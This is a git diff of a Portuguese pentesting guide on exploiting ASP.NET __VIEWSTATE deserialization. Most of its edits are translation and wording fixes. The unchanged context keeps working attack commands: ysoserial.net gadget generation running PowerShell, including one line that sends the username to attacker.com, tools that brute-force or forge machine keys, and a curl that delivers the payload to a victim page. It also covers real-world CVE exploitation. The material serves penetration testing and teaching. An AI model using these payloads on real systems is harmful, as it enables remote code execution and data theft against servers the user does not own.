diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index c87a0c450..7a1ac9bec 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -1,12 +1,10 @@
-# Explorando \_\_VIEWSTATE sem conhecer os segredos
+# Exploiting \_\_VIEWSTATE without knowing the secrets
{{#include ../../banners/hacktricks-training.md}}
-
-
## O que é ViewState
-**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ocultos de ViewState.
+**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.
As informações do ViewState podem ser caracterizadas pelas seguintes propriedades ou suas combinações:
@@ -34,7 +32,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identificando Atributos ViewState**
-Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
+Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
@@ -106,19 +104,19 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser
```bash
--apppath="/" --path="/hello.aspx"
```
-### Caso de Teste: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
+### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
-**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
+**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se um remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
-### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
+### Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
```xml
@@ -140,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
```
Para uma descrição mais detalhada sobre IISDirPath e TargetPagePath [consulte aqui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
-Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor gerador):
+Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor de gerador):
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
@@ -166,7 +164,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
```
### Resultado de uma Exploração Bem-Sucedida
-Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, então o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
+Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
Verifique [mais informações aqui]()
@@ -188,7 +186,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
}
```
-Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser inseridos diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
+Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser alimentados diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
@@ -198,21 +196,19 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE="
```
-Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint on-prem em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
+Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint locais em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
## Cenários de Exploração do Mundo Real 2024-2025 e Chaves de Máquina Codificadas
### Onda de “chaves de máquina divulgadas publicamente” da Microsoft (Dez 2024 – Fev 2025)
-A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens em blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir limites de comprimento do WAF:
+A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens de blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir os limites de comprimento do WAF:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey= --validationalg=SHA1 \
--decryptionkey= --decryptionalg=AES \
--generator= --minify
```
-Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (``) mitiga essa classe de ataques. {{#ref}}
-
-{{#endref}}
+Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (``) mitiga essa classe de ataques.
### CVE-2025-30406 – Chaves codificadas de Gladinet CentreStack / Triofox
A Kudelski Security descobriu que várias versões do CentreStack / Triofox foram lançadas com valores de `machineKey` idênticos, permitindo a execução remota de código não autenticado através da falsificação do ViewState (CVE-2025-30406).